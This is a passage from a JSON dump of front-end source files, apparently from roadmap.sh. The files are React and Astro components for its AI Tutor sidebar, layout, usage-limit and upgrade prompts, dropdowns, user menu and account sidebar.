className=\"flex flex-row items-center gap-2\">\n          <a\n            href=\"/ai\"\n            className=\"flex flex-row items-center gap-2 rounded-lg bg-black px-4 py-1.5 text-sm font-medium text-white max-sm:hidden\"\n          >\n            <PlusIcon className=\"h-4 w-4\" />\n            New\n          </a>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/AITutorLayout.tsx",
    "content": "import { Menu } from 'lucide-react';\nimport { useState } from 'react';\nimport { AITutorSidebar, type AITutorTab } from './AITutorSidebar';\nimport { RoadmapLogoIcon } from '../ReactIcons/RoadmapLogo';\nimport { cn } from '../../lib/classname';\n\ntype AITutorLayoutProps = {\n  children: React.ReactNode;\n  activeTab?: AITutorTab;\n  wrapperClassName?: string;\n  containerClassName?: string;\n};\n\nexport function AITutorLayout(props: AITutorLayoutProps) {\n  const { children, activeTab, wrapperClassName, containerClassName } = props;\n\n  const [isSidebarFloating, setIsSidebarFloating] = useState(false);\n\n  return (\n    <>\n      <div className=\"sticky top-0 z-10 flex flex-row items-center justify-between border-b border-slate-200 bg-white px-4 py-3 lg:hidden\">\n        <a href=\"/\" className=\"flex flex-row items-center gap-1.5\">\n          <RoadmapLogoIcon className=\"size-6 text-gray-500\" color=\"black\" />\n        </a>\n        <button\n          className=\"flex flex-row items-center gap-1\"\n          onClick={() => setIsSidebarFloating(!isSidebarFloating)}\n        >\n          <Menu className=\"size-5 text-gray-500\" />\n        </button>\n      </div>\n\n      <div\n        className={cn(\n          'flex flex-grow flex-row lg:h-screen',\n          containerClassName,\n        )}\n      >\n        <AITutorSidebar\n          onClose={() => setIsSidebarFloating(false)}\n          isFloating={isSidebarFloating}\n          activeTab={activeTab}\n        />\n        <div\n          className={cn(\n            'flex flex-grow flex-col overflow-y-scroll bg-gray-100 p-3 lg:p-4',\n            wrapperClassName,\n          )}\n        >\n          {children}\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/AITutorLimits.tsx",
    "content": "import { Gift } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype AITutorLimitsProps = {\n  used: number;\n  limit: number;\n  isPaidUser: boolean;\n  isPaidUserLoading: boolean;\n  onUpgradeClick: () => void;\n};\n\nexport function AITutorLimits(props: AITutorLimitsProps) {\n  const limitUsedPercentage = Math.round((props.used / props.limit) * 100);\n\n  if (props.limit <= 0 || props.isPaidUserLoading) {\n    return null;\n  }\n\n  return (\n    <div\n      className={cn(\n        'pointer-events-none flex items-center gap-2 opacity-0 transition-opacity',\n        {\n          'pointer-events-auto opacity-100': !props.isPaidUser,\n        },\n      )}\n    >\n      <p className=\"flex items-center text-sm text-yellow-600\">\n        <span className=\"max-md:hidden\">\n          {limitUsedPercentage}% of daily limit used{' '}\n        </span>\n        <span className=\"inline md:hidden\">{limitUsedPercentage}% used</span>\n        <button\n          onClick={props.onUpgradeClick}\n          className=\"ml-1.5 flex items-center gap-1 rounded-full bg-yellow-600 py-0.5 pr-2 pl-1.5 text-xs text-white\"\n        >\n          <Gift className=\"size-4\" />\n          Upgrade\n        </button>\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/AITutorSidebar.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport {\n  BookOpen,\n  ChevronDown,\n  ChevronRight,\n  Compass,\n  FileText,\n  Map,\n  MessageCircle,\n  Star,\n  Swords,\n  X,\n  Zap\n} from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { getUrlParams } from '../../lib/browser';\nimport { cn } from '../../lib/classname';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { queryClient } from '../../stores/query-client';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { AILimitsPopup } from '../GenerateCourse/AILimitsPopup';\nimport { AITutorLogo } from '../ReactIcons/AITutorLogo';\nimport { UpgradeSidebarCard } from './UpgradeSidebarCard';\nimport { UserDropdown } from './UserDropdown';\n\ntype AITutorSidebarProps = {\n  isFloating: boolean;\n  activeTab?: AITutorTab;\n  onClose: () => void;\n};\n\nconst sidebarItems = [\n  {\n    key: 'new',\n    label: 'Create with AI',\n    href: '/ai',\n    icon: Zap,\n    children: [\n      {\n        key: 'create-course',\n        label: 'Course',\n        href: '/ai?format=course',\n        icon: BookOpen,\n      },\n      {\n        key: 'create-guide',\n        label: 'Guide',\n        href: '/ai?format=guide',\n        icon: FileText,\n      },\n      {\n        key: 'create-roadmap',\n        label: 'Roadmap',\n        href: '/ai?format=roadmap',\n        icon: Map,\n      },\n      {\n        key: 'quiz',\n        label: 'Quiz',\n        href: '/ai/quiz',\n        icon: Swords,\n      },\n    ],\n  },\n  {\n    key: 'chat',\n    label: 'Ask AI Tutor',\n    href: '/ai/chat',\n    icon: MessageCircle,\n  },\n  {\n    key: 'roadmap-chat',\n    label: 'Roadmap Chat',\n    href: '/ai/roadmap-chat',\n    icon: Map,\n  },\n  {\n    key: 'library',\n    label: 'My Learning',\n    href: '/ai/courses',\n    icon: BookOpen,\n  },\n  {\n    key: 'staff-picks',\n    label: 'Staff Picks',\n    href: '/ai/staff-picks',\n    icon: Star,\n  },\n  {\n    key: 'community',\n    label: 'Community',\n    href: '/ai/community',\n    icon: Compass,\n  },\n];\n\nexport type AITutorTab = (typeof sidebarItems)[number]['key'];\n\nexport function AITutorSidebar(props: AITutorSidebarProps) {\n  const { activeTab, isFloating, onClose } = props;\n\n  const [format, setFormat] = useState('');\n  const [isInitialLoad, setIsInitialLoad] = useState(true);\n  const [expandedItems, setExpandedItems] = useState<Record<string, boolean>>({\n    new: true, // Keep \"Create with AI\" expanded by default\n  });\n\n  const [showAILimitsPopup, setShowAILimitsPopup] = useState(false);\n  const [isUpgradeModalOpen, setIsUpgradeModalOpen] = useState(false);\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n\n  const { data: limits, isLoading: isLimitsLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  useEffect(() => {\n    const { format } = getUrlParams();\n    setFormat(format || 'course');\n    setIsInitialLoad(false);\n  }, []);\n\n  const isLoading = isPaidUserLoading || isLimitsLoading;\n\n  const toggleExpanded = (key: string) => {\n    setExpandedItems((prev) => ({\n      ...prev,\n      [key]: !prev[key],\n    }));\n  };\n\n  return (\n    <>\n      {isUpgradeModalOpen && (\n        <UpgradeAccountModal onClose={() => setIsUpgradeModalOpen(false)} />\n      )}\n\n      {showAILimitsPopup && (\n        <AILimitsPopup\n          onClose={() => setShowAILimitsPopup(false)}\n          onUpgrade={() => {\n            setIsUpgradeModalOpen(true);\n            setShowAILimitsPopup(false);\n          }}\n        />\n      )}\n\n      <aside\n        className={cn(\n          'flex w-[255px] shrink-0 flex-col border-r border-slate-200',\n          isFloating\n            ? 'fixed top-0 bottom-0 left-0 z-50 flex border-r-0 bg-white shadow-xl'\n            : 'hidden lg:flex',\n        )}\n      >\n        {isFloating && (\n          <button className=\"absolute top-3 right-3\" onClick={onClose}>\n            <X\n              strokeWidth={3}\n              className=\"size-3.5 text-gray-400 hover:text-black\"\n            />\n          </button>\n        )}\n        <div className=\"flex flex-col items-start justify-center px-6 py-5\">\n          <div className=\"flex flex-row items-center gap-1\">\n            <AITutorLogo className=\"size-11 text-gray-500\" color=\"black\" />\n          </div>\n          <div className=\"my-3 flex flex-col\">\n            <h2 className=\"-mb-px text-base font-semibold text-black\">\n              AI Tutor\n            </h2>\n            <span className=\"text-xs text-gray-500\">\n              by{' '}\n              <a href=\"/\" className=\"underline-offset-2 hover:underline\">\n                roadmap.sh\n              </a>\n            </span>\n          </div>\n          <p className=\"max-w-[150px] text-xs text-gray-500\">\n            Your personalized learning companion for any topic\n          </p>\n        </div>\n\n        <ul className=\"list-none space-y-1\">\n          {sidebarItems.map((item) => (\n            <li key={item.key}>\n              <AITutorSidebarItem\n                item={item}\n                isActive={activeTab === item.key}\n                isExpanded={expandedItems[item.key] || false}\n                onToggleExpanded={() => toggleExpanded(item.key)}\n              />\n              {item.children && expandedItems[item.key] && (\n                <ul className=\"relative list-none\">\n                  <div className=\"absolute top-0 bottom-0 left-7 w-px bg-gray-200\" />\n                  {item.children.map((child) => (\n                    <li key={child.key}>\n                      <AITutorSidebarItem\n                        item={child}\n                        isActive={\n                          (activeTab === item.key &&\n                            `create-${format}` === child.key) ||\n                          activeTab === child.key\n                        }\n                        isChild={true}\n                      />\n                    </li>\n                  ))}\n                </ul>\n              )}\n            </li>\n          ))}\n\n          {!isInitialLoad && isLoggedIn() && !isPaidUser && !isLoading && (\n            <li>\n              <UpgradeSidebarCard\n                onUpgrade={() => setIsUpgradeModalOpen(true)}\n              />\n            </li>\n          )}\n        </ul>\n        <div className=\"mx-2 mt-auto mb-2\">\n          <UserDropdown />\n        </div>\n      </aside>\n      {isFloating && (\n        <div className=\"fixed inset-0 z-40 bg-black/50\" onClick={onClose} />\n      )}\n    </>\n  );\n}\n\ntype SidebarItem = {\n  key: string;\n  label: string;\n  href: string;\n  icon: any;\n  children?: {\n    key: string;\n    label: string;\n    href: string;\n    icon: any;\n  }[];\n};\n\ntype ChildItem = {\n  key: string;\n  label: string;\n  href: string;\n  icon: any;\n};\n\ntype AITutorSidebarItemProps = {\n  item: SidebarItem | ChildItem;\n  as?: 'a' | 'button';\n  onClick?: () => void;\n  className?: string;\n  isActive?: boolean;\n  isExpanded?: boolean;\n  onToggleExpanded?: () => void;\n  isChild?: boolean;\n};\n\nfunction AITutorSidebarItem(props: AITutorSidebarItemProps) {\n  const {\n    item,\n    as = 'a',\n    onClick,\n    className,\n    isActive,\n    isExpanded,\n    onToggleExpanded,\n    isChild,\n  } = props;\n\n  const hasChildren = 'children' in item && item.children;\n  const Component = hasChildren ? 'button' : as;\n\n  return (\n    <Component\n      {...(Component === 'a' && !hasChildren ? { href: item.href } : {})}\n      {...(Component === 'button'\n        ? { onClick: hasChildren ? onToggleExpanded : onClick }\n        : {})}\n      className={cn(\n        'font-regular flex w-full items-center border-r-2 px-5 py-2 text-sm transition-all',\n        isActive && !hasChildren\n          ? 'border-r-black bg-gray-100 text-black'\n          : 'border-r-transparent text-gray-500',\n        !isActive && !hasChildren && 'hover:bg-gray-50 hover:text-gray-700',\n        !isActive && hasChildren && 'hover:text-gray-700',\n        isChild && 'border-r-transparent py-1.5 pl-11',\n        isChild && isActive && 'border-r-black border-r-2 bg-gray-100 text-black',\n        className,\n      )}\n    >\n      <span className=\"flex grow items-center\">\n        {!isChild && <item.icon className=\"mr-2 size-4\" />}\n        {item.label}\n      </span>\n      {hasChildren && (\n        <span className=\"ml-auto\">\n          {isExpanded ? (\n            <ChevronDown className=\"size-4\" />\n          ) : (\n            <ChevronRight className=\"size-4\" />\n          )}\n        </span>\n      )}\n    </Component>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/AITutorSidebarProps.tsx",
    "content": "import { Zap } from 'lucide-react';\n\n<li>\n  <div className=\"mx-4 mt-4 rounded-lg bg-amber-50 p-3\">\n    <div className=\"flex items-center gap-2\">\n      <Zap className=\"size-4 text-amber-600\" />\n      <span className=\"font-medium text-amber-900\">Free Tier</span>\n    </div>\n    <p className=\"mt-1 text-xs text-amber-700\">\n      Upgrade to Pro to unlock unlimited AI tutoring sessions\n    </p>\n  </div>\n</li> "
  },
  {
    "path": "src/components/AITutor/AITutorTallMessage.tsx",
    "content": "import { type LucideIcon } from 'lucide-react';\n\ntype AITutorTallMessageProps = {\n  title: string;\n  subtitle?: string;\n  icon: LucideIcon;\n  buttonText?: string;\n  onButtonClick?: () => void;\n};\n\nexport function AITutorTallMessage(props: AITutorTallMessageProps) {\n  const { title, subtitle, icon: Icon, buttonText, onButtonClick } = props;\n\n  return (\n    <div className=\"flex flex-grow flex-col items-center justify-center rounded-lg border border-gray-200 bg-white p-8\">\n      <Icon className=\"size-12 text-gray-300\" />\n      <div className=\"my-4 text-center\">\n        <h2 className=\"mb-2 text-xl font-semibold\">{title}</h2>\n        {subtitle && <p className=\"text-base text-gray-600\">{subtitle}</p>}\n      </div>\n      {buttonText && onButtonClick && (\n        <button\n          onClick={onButtonClick}\n          className=\"rounded-lg bg-black px-4 py-2 text-sm text-white hover:opacity-80\"\n        >\n          {buttonText}\n        </button>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/BaseDropdown.tsx",
    "content": "import { ChevronDown } from 'lucide-react';\nimport { useState, useRef, useEffect } from 'react';\nimport { cn } from '../../lib/classname';\nimport type { LucideIcon } from 'lucide-react';\n\ntype BaseDropdownProps<T extends string> = {\n  value: T;\n  options: readonly T[];\n  onChange: (value: T) => void;\n  icons?: Record<T, LucideIcon>;\n};\n\nexport function BaseDropdown<T extends string>(props: BaseDropdownProps<T>) {\n  const { value, options, onChange, icons } = props;\n\n  const [isOpen, setIsOpen] = useState(false);\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  useEffect(() => {\n    function handleClickOutside(event: MouseEvent) {\n      if (\n        dropdownRef.current &&\n        !dropdownRef.current.contains(event.target as Node)\n      ) {\n        setIsOpen(false);\n      }\n    }\n\n    document.addEventListener('mousedown', handleClickOutside);\n    return () => document.removeEventListener('mousedown', handleClickOutside);\n  }, []);\n\n  const Icon = icons?.[value];\n\n  return (\n    <div className=\"relative\" ref={dropdownRef}>\n      <button\n        type=\"button\"\n        onClick={() => setIsOpen(!isOpen)}\n        className={cn(\n          'flex items-center gap-2 rounded-full bg-gray-100 px-3 py-1 text-sm text-gray-700 hover:bg-gray-200 hover:text-black',\n        )}\n      >\n        {Icon && <Icon size={16} />}\n        <span className=\"capitalize\">{value}</span>\n        <ChevronDown size={16} className={cn(isOpen && 'rotate-180')} />\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute z-10 mt-1 flex flex-col overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          {options.map((option) => {\n            const OptionIcon = icons?.[option];\n            return (\n              <button\n                key={option}\n                type=\"button\"\n                onClick={() => {\n                  onChange(option);\n                  setIsOpen(false);\n                }}\n                className={cn(\n                  'flex items-center gap-2 px-5 py-2 text-left text-sm capitalize hover:bg-gray-100',\n                  value === option && 'bg-gray-200 font-medium hover:bg-gray-200',\n                )}\n              >\n                {OptionIcon && <OptionIcon size={16} />}\n                {option}\n              </button>\n            );\n          })}\n        </div>\n      )}\n    </div>\n  );\n} "
  },
  {
    "path": "src/components/AITutor/DifficultyDropdown.tsx",
    "content": "import { BaseDropdown } from './BaseDropdown';\nimport {\n    difficultyLevels,\n    type DifficultyLevel,\n} from '../GenerateCourse/AICourse';\n\ntype DifficultyDropdownProps = {\n  value: DifficultyLevel;\n  onChange: (value: DifficultyLevel) => void;\n};\n\nexport function DifficultyDropdown(props: DifficultyDropdownProps) {\n  const { value, onChange } = props;\n\n  return (\n    <BaseDropdown\n      value={value}\n      options={difficultyLevels}\n      onChange={onChange}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/LoginToView.tsx",
    "content": "import { LockIcon } from 'lucide-react';\n\nimport { showLoginPopup } from '../../lib/popup';\nimport { cn } from '../../lib/classname';\n\ntype LoginToViewProps = {\n  className?: string;\n};\n\nexport function LoginToView(props: LoginToViewProps) {\n  const { className } = props;\n\n  return (\n    <div\n      className={cn(\n        'mt-8 min-h-[402px] rounded-xl border border-gray-200/50 bg-gradient-to-br from-gray-50 to-gray-100/50 p-12 backdrop-blur-sm',\n        'flex flex-col items-center justify-center',\n        className,\n      )}\n    >\n      <LockIcon className=\"size-8 stroke-[1.5] text-gray-600\" />\n\n      <div className=\"mt-5 mb-4 flex flex-col items-center gap-0.5 text-center\">\n        <h3 className=\"text-xl font-semibold text-gray-700\">Login Required</h3>\n        <p className=\"text-sm text-balance leading-relaxed text-gray-500\">\n          Please login to access the content and all the features of the AI Tutor.\n        </p>\n      </div>\n\n      <button\n        onClick={() => showLoginPopup()}\n        className=\"rounded-full bg-black px-6 py-2 text-sm font-medium text-white transition-all duration-300 hover:opacity-80 hover:shadow-md active:scale-[0.98] active:transform\"\n      >\n        Login to Continue\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/NatureDropdown.tsx",
    "content": "import { BaseDropdown } from './BaseDropdown';\nimport { BookOpen, FileText } from 'lucide-react';\n\nexport const natureTypes = ['course', 'document'] as const;\nexport type NatureType = (typeof natureTypes)[number];\n\nconst natureIcons = {\n  course: BookOpen,\n  document: FileText,\n} as const;\n\ntype NatureDropdownProps = {\n  value: NatureType;\n  onChange: (value: NatureType) => void;\n};\n\nexport function NatureDropdown(props: NatureDropdownProps) {\n  const { value, onChange } = props;\n\n  return (\n    <BaseDropdown\n      value={value}\n      options={natureTypes}\n      onChange={onChange}\n      icons={natureIcons}\n    />\n  );\n} "
  },
  {
    "path": "src/components/AITutor/UpgradeSidebarCard.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { Zap } from 'lucide-react';\nimport { queryClient } from '../../stores/query-client';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { getPercentage } from '../../lib/number';\nimport { cn } from '../../lib/classname';\n\ntype UpgradeSidebarCardProps = {\n  onUpgrade: () => void;\n  className?: string;\n  descriptionClassName?: string;\n  titleClassName?: string;\n  title?: string;\n  description?: string;\n  showLimit?: boolean;\n};\n\nexport function UpgradeSidebarCard(props: UpgradeSidebarCardProps) {\n  const {\n    onUpgrade,\n    title = 'Upgrade',\n    description = 'Get access to all features and benefits of the AI Tutor.',\n    descriptionClassName,\n    titleClassName,\n    className,\n    showLimit = true,\n  } = props;\n\n  const { data: limits, isLoading: isLimitsLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const { used, limit } = limits ?? { used: 0, limit: 0 };\n  const totalPercentage = getPercentage(used, limit);\n\n  return (\n    <button\n      onClick={onUpgrade}\n      className={cn(\n        'animate-fade-in mx-4 mt-4 rounded-xl bg-amber-100 p-4 text-left transition-colors hover:bg-amber-200/80',\n        className,\n      )}\n    >\n      <span className=\"mb-2 flex items-center gap-2\">\n        <Zap className=\"size-4 text-amber-600\" />\n        <span className={cn('font-medium text-amber-900', titleClassName)}>\n          {title}\n        </span>\n      </span>\n      <span\n        className={cn(\n          'mt-1 block text-left text-xs leading-4 text-amber-700',\n          descriptionClassName,\n        )}\n      >\n        {description}\n      </span>\n\n      {showLimit && (\n        <div className=\"mt-5\">\n          <div className=\"relative h-1 w-full rounded-full bg-amber-300/40\">\n            <div\n              className=\"absolute inset-0 h-full rounded-full bg-amber-600/80\"\n              style={{\n                width: `${totalPercentage}%`,\n              }}\n            ></div>\n          </div>\n          <span className=\"mt-2 block text-xs text-amber-700\">\n            {totalPercentage}% of the daily limit used\n          </span>\n        </div>\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/UserDropdown.tsx",
    "content": "import {\n  ChevronDown,\n  CreditCardIcon,\n  LogInIcon,\n  LogOutIcon,\n  Settings,\n  User2,\n} from 'lucide-react';\nimport { useAuth } from '../../hooks/use-auth';\nimport { useClientMount } from '../../hooks/use-client-mount';\nimport { logout } from '../../lib/auth';\nimport { showLoginPopup } from '../../lib/popup';\nimport { useIsPaidUser } from '../../queries/billing';\nimport {\n  DropdownMenu,\n  DropdownMenuContent,\n  DropdownMenuItem,\n  DropdownMenuSeparator,\n  DropdownMenuTrigger,\n} from '../DropdownMenu';\n\ntype UserDropdownProps = {};\n\nexport function UserDropdown(props: UserDropdownProps) {\n  const currentUser = useAuth();\n  const { isPaidUser, isLoading } = useIsPaidUser();\n  const isMounted = useClientMount();\n\n  if (!isMounted || isLoading) {\n    return null;\n  }\n\n  if (!currentUser) {\n    return (\n      <button\n        onClick={showLoginPopup}\n        className=\"animate-fade-in inline-flex h-auto w-full items-center justify-center gap-2 rounded-lg border border-gray-700 bg-black px-4 py-2.5 text-sm font-medium text-white transition-all duration-200 outline-none hover:!opacity-80 disabled:cursor-not-allowed disabled:opacity-60\"\n      >\n        <LogInIcon className=\"size-4\" />\n        Free Signup or Login\n      </button>\n    );\n  }\n\n  const userAvatar = currentUser?.avatar\n    ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${currentUser?.avatar}`\n    : '/img/default-avatar.png';\n\n  return (\n    <DropdownMenu>\n      <DropdownMenuTrigger asChild>\n        <button className=\"group flex w-full items-center gap-3 rounded-lg border border-transparent px-4 py-2.5 text-sm font-medium transition-colors hover:bg-gray-100 hover:text-black focus:outline-none data-[state=open]:bg-gray-100 data-[state=open]:text-black\">\n          <div className=\"relative size-7 shrink-0 overflow-hidden rounded-full\">\n            <img\n              src={userAvatar}\n              alt={currentUser.name}\n              className=\"absolute inset-0 h-full w-full object-cover\"\n            />\n          </div>\n\n          <div className=\"flex min-w-0 flex-1 flex-col text-left\">\n            <span className=\"truncate font-medium text-gray-900\">\n              {currentUser.name}\n            </span>\n            <span className=\"truncate text-xs text-gray-500\">\n              {isPaidUser ? 'Pro Member' : 'Free User'}\n            </span>\n          </div>\n\n          <ChevronDown className=\"size-4 text-gray-400 transition-transform duration-200 group-data-[state=open]:rotate-180\" />\n        </button>\n      </DropdownMenuTrigger>\n\n      <DropdownMenuContent className=\"w-[var(--radix-dropdown-menu-trigger-width)] min-w-52 rounded-lg border border-gray-200 bg-white p-1\">\n        <div className=\"space-y-1\">\n          <DropdownMenuItem asChild>\n            <a\n              href=\"/account\"\n              className=\"flex w-full items-center gap-3 rounded px-3 py-2 text-sm font-medium text-gray-500 transition-colors hover:bg-gray-100 hover:text-black\"\n            >\n              <User2 className=\"size-4\" />\n              Account\n            </a>\n          </DropdownMenuItem>\n\n          <DropdownMenuItem asChild>\n            <a\n              href=\"/account/billing\"\n              className=\"flex w-full items-center gap-3 rounded px-3 py-2 text-sm font-medium text-gray-500 transition-colors hover:bg-gray-100 hover:text-black\"\n            >\n              <CreditCardIcon className=\"size-4\" />\n              Billing\n            </a>\n          </DropdownMenuItem>\n\n          <DropdownMenuItem asChild>\n            <a\n              href=\"/account/settings\"\n              className=\"flex w-full items-center gap-3 rounded px-3 py-2 text-sm font-medium text-gray-500 transition-colors hover:bg-gray-100 hover:text-black\"\n            >\n              <Settings className=\"size-4\" />\n              Settings\n            </a>\n          </DropdownMenuItem>\n        </div>\n\n        <DropdownMenuSeparator className=\"my-1\" />\n\n        <DropdownMenuItem\n          className=\"flex w-full items-center gap-3 rounded px-3 py-2 text-sm font-medium text-red-600 transition-colors hover:bg-red-50 hover:text-red-700\"\n          onSelect={() => {\n            logout();\n          }}\n        >\n          <LogOutIcon className=\"size-4\" />\n          Logout\n        </DropdownMenuItem>\n      </DropdownMenuContent>\n    </DropdownMenu>\n  );\n}\n"
  },
  {
    "path": "src/components/AIUsageWarning/AIUsageWarning.tsx",
    "content": "import { isLoggedIn } from '../../lib/jwt';\n\ntype AIUsageWarningProps = {\n  type: 'course' | 'guide' | 'roadmap' | 'quiz';\n  totalCount?: number;\n  isPaidUser?: boolean;\n  usedCount?: number;\n  limitCount?: number;\n  onUpgrade: () => void;\n};\n\nexport function AIUsageWarning(props: AIUsageWarningProps) {\n  const { type, totalCount, isPaidUser, usedCount, limitCount, onUpgrade } =\n    props;\n\n  const isUserAuthenticated = isLoggedIn();\n\n  const typeLabels = {\n    course: 'courses',\n    guide: 'guides',\n    roadmap: 'roadmaps',\n    quiz: 'quizzes',\n  };\n\n  const typeLabel = typeLabels[type];\n\n  return (\n    <p className=\"mb-4 text-sm text-gray-500\">\n      {isUserAuthenticated ? (\n        isPaidUser ? (\n          `You have generated ${totalCount} ${typeLabel} so far.`\n        ) : (\n          <>\n            <span className=\"text-gray-500\">You have used</span>{' '}\n            <span className=\"text-gray-500\">\n              {usedCount} of {limitCount} {typeLabel}\n            </span>\n            <button\n              onClick={onUpgrade}\n              className=\"ml-2 text-blue-600 underline underline-offset-2 hover:text-blue-700\"\n            >\n              Need more? Upgrade\n            </button>\n          </>\n        )\n      ) : (\n        `Sign up or login to generate your first ${type}. Takes 2s to do so.`\n      )}\n    </p>\n  );\n}\n"
  },
  {
    "path": "src/components/AccountSidebar/AccountSidebarUpgrade.tsx",
    "content": "import { useIsMounted } from '../../hooks/use-is-mounted';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { UpgradeSidebarCard } from '../AITutor/UpgradeSidebarCard';\nimport { useState } from 'react';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\nexport function AccountSidebarUpgrade() {\n  const isMounted = useIsMounted();\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const [isUpgradeModalOpen, setIsUpgradeModalOpen] = useState(false);\n\n  if (!isMounted || isPaidUserLoading || !isLoggedIn() || isPaidUser) {\n    return null;\n  }\n\n  return (\n    <>\n      {isUpgradeModalOpen && (\n        <UpgradeAccountModal onClose={() => setIsUpgradeModalOpen(false)} />\n      )}\n\n      <UpgradeSidebarCard\n        onUpgrade={() => setIsUpgradeModalOpen(true)}\n        className=\"mt-4 -mr-px rounded-r-none ml-0\"\n        descriptionClassName=\"leading-normal\"\n        title=\"Upgrade\"\n        description=\"Unlock premium features including AI tutor and more.\"\n        showLimit={false}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AccountSidebar.astro",
    "content": "---\nimport AstroIcon from './AstroIcon.astro';\nimport { TeamDropdown } from './TeamDropdown/TeamDropdown';\nimport { SidebarFriendsCounter } from './Friends/SidebarFriendsCounter';\nimport { Map } from 'lucide-react';\nimport { AccountSidebarUpgrade } from './AccountSidebar/AccountSidebarUpgrade';\n\nexport interface Props {\n  activePageId: string;\n  activePageTitle: string;\n  hasDesktopSidebar?: boolean;\n}\n\nconst { hasDesktopSidebar = true, activePageId, activePageTitle } = Astro.props;\n\nconst sidebarLinks = [\n  {\n    href: '/account',\n    title: 'Activity',\n    id: 'activity',\n    isNew: false,\n    icon: {\n      glyph: 'analytics',\n      classes: 'h-3 w-4',\n    },\n  },\n  {\n    href: '/account/update-profile',\n    title: 'Profile',\n    id: 'profile',\n    isNew: false,\n    icon: {\n      glyph: 'user',\n      classes: 'h-4 w-4',\n    },\n  },\n  {\n    href: '/account/friends',\n    title: 'Friends',\n    id: 'friends',\n    isNew: false,\n    icon: {\n      glyph: 'users',\n      classes: 'h-4 w-4',\n    },\n  },\n  {\n    href: '/account/roadmaps',\n    title: 'Roadmaps',\n    id: 'roadmaps',\n    isNew: false,\n    icon: {\n      glyph: 'users',\n      classes: 'h-4 w-4',\n      component: Map,\n    },\n  },\n  {\n    href: '/account/road-card',\n    title: 'Road Card',\n    id: 'road-card',\n    isNew: false,\n    icon: {\n      glyph: 'badge',\n      classes: 'h-4 w-4',\n    },\n  },\n  {\n    href: '/account/billing',\n    title: 'Billing',\n    id: 'billing',\n    isNew: false,\n    icon: {\n      glyph: 'credit-card',\n      classes: 'h-4 w-4',\n    },\n  },\n  {\n    href: '/account/settings',\n    title: 'Settings',\n    id: 'settings',\n    isNew: false,\n    icon: {\n      glyph: 'cog',\n      classes: 'h-4 w-4',\n    },\n  },\n];\n---\n\n<div class='relative mb-5 block border-b p-4 shadow-inner md:hidden'>\n  <button\n    class='flex h-10 w-full items-center justify-between rounded-md border bg-white px-2 text-center text-sm font-medium text-gray-900'\n    id='settings-menu'\n  >\n    {activePageTitle}\n    <AstroIcon icon='dropdown' />\n  </button>\n  <ul\n    id='settings-menu-dropdown'\n    class='absolute right-0 left-0 z-10 mt-1 hidden space-y-1.5 bg-white p-2 shadow-lg'\n  >\n    <li>\n      <a\n        href='/team'\n        class={`flex w-full items-center rounded px-3 py-1.5 text-sm text-slate-900 hover:bg-slate-200 ${\n          activePageId === 'team' ? 'bg-slate-100' : ''\n        }`}\n      >\n        <AstroIcon icon={'users'} class={`h-4 w-4 mr-2`} />\n        Teams\n      </a>\n    </li>\n    {\n      sidebarLinks.map((sidebarLink) => {\n        const isActive = activePageId === sidebarLink.id;\n\n        return (\n          <li>\n            <a\n              href={sidebarLink.href}\n              class={`flex w-full items-center rounded px-3 py-1.5 text-sm text-slate-900 hover:bg-slate-200 ${\n                isActive ? 'bg-slate-100' : ''\n              }`}\n            >\n              {sidebarLink.icon.component ? (\n                <sidebarLink.icon.component\n                  className={`${sidebarLink.icon.classes} mr-2`}\n                />\n              ) : (\n                <AstroIcon\n                  icon={sidebarLink.icon.glyph}\n                  class={`${sidebarLink.icon.classes} mr-2`}\n                />\n              )}\n              {sidebarLink.title}\n            </a>\n          </li>\n        );\n      })\n    }\n  </ul>\n</div>\n\n<div class='container flex min-h-screen items-stretch'>\n  <!-- Start Desktop Sidebar -->\n  {\n    hasDesktopSidebar && (\n      <aside class='hidden w-[195px] shrink-0 border-r border-slate-200 py-10 md:block'>\n        <TeamDropdown client:load />\n\n        <nav>\n          <ul class='space-y-1'>\n            {sidebarLinks.map((sidebarLink) => {\n              const isActive = activePageId === sidebarLink.id;\n\n              return (\n                <li>\n                  <a\n                    href={sidebarLink.href}\n                    class={`font-regular flex w-full items-center border-r-2 px-2 py-1.5 text-sm ${\n                      isActive\n                        ? 'border-r-black bg-gray-100 text-black'\n                        : 'border-r-transparent text-gray-500 hover:border-r-gray-300'\n                    }`}\n                  >\n                    <span class='flex grow items-center'>\n                      {sidebarLink.icon.component ? (\n                        <sidebarLink.icon.component\n                          className={`${sidebarLink.icon.classes} mr-2`}\n                        />\n                      ) : (\n                        <AstroIcon\n                          icon={sidebarLink.icon.glyph}\n                          class={`${sidebarLink.icon.classes} mr-2`}\n                        />\n                      )}\n                      {sidebarLink.title}\n                    </span>\n\n                    {sidebarLink.isNew && !isActive && (\n                      <span class='relative mr-1 flex items-center'>\n                        <span 